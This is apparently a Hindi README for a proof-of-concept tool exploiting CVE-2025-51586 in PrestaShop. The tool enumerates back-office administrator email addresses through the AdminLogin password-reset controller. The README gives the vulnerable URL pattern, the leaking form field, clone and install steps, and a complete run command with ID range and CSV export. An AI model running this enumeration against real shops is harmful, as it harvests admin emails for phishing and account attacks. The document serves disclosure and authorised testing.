
# PrestaShop AdminLogin ईमेल एन्यूमरेशन PoC - CVE-2025-51586 यह रिपॉजिटरी PrestaShop भेद्यता के लिए एक नैतिक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) प्रदान करती है, जो AdminLogin पासवर्ड रीसेट तंत्र के माध्यम से उपयोगकर्ता एन्यूमरेशन की अनुमति देती है। यह PoC स्क्रिप्ट के प्रभाव, सेटअप और उपयोग की व्याख्या करती है।
इस रिपॉजिटरी में CVE-2025-51586 भेद्यता के लिए एक नैतिक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शामिल है, जो PrestaShop संस्करण 1.7.x — 8.2.2 को प्रभावित करती है।
यह PoC बैक ऑफिस पासवर्ड रीसेट तंत्र (AdminLogin कंट्रोलर) के माध्यम से व्यवस्थापक ईमेल पतों की एन्यूमरेशन करता है।
https://domain.tld/admin/index.php?controller=AdminLogin&reset=1id_employee और एक अमान्य reset_token प्रदान करें<input name="reset_email" value="[email protected]">आधिकारिक एडवाइज़री: Friends of Presta Security
Friends of Presta Security Team द्वारा रिपोर्ट किया गया (एडवाइज़री 4 सितंबर, 2025 को प्रकाशित)।
यह PoC केवल शैक्षिक और अधिकृत परीक्षण के लिए है। इसका उपयोग केवल उन सिस्टम पर करें जिनके आप मालिक हैं या जहाँ आपके पास स्पष्ट अनुमति है। लेखक और योगदानकर्ता दुरुपयोग के लिए जिम्मेदार नहीं हैं।
क्लोन करें और निर्भरताएँ इंस्टॉल करें:
git clone https://github.com/7h30th3r0n3/CVE-2025-51586-PrestaShop-PoC.git
cd CVE-2025-51586-PrestaShop-PoC
pip install requests beautifulsoup4 rich
python3 cve_2025_51586_enum.py \
-u "https://target/admin/index.php?controller=AdminLogin&reset=1" \
-s 1 -e 100 -m POST -t invalidtoken123 --delay 0.5 --timeout 10 --export results.csv
PoC 7h30th3r0n3 द्वारा विकसित किया गया। भेद्यता Friends of Presta Security Team द्वारा खोजी गई।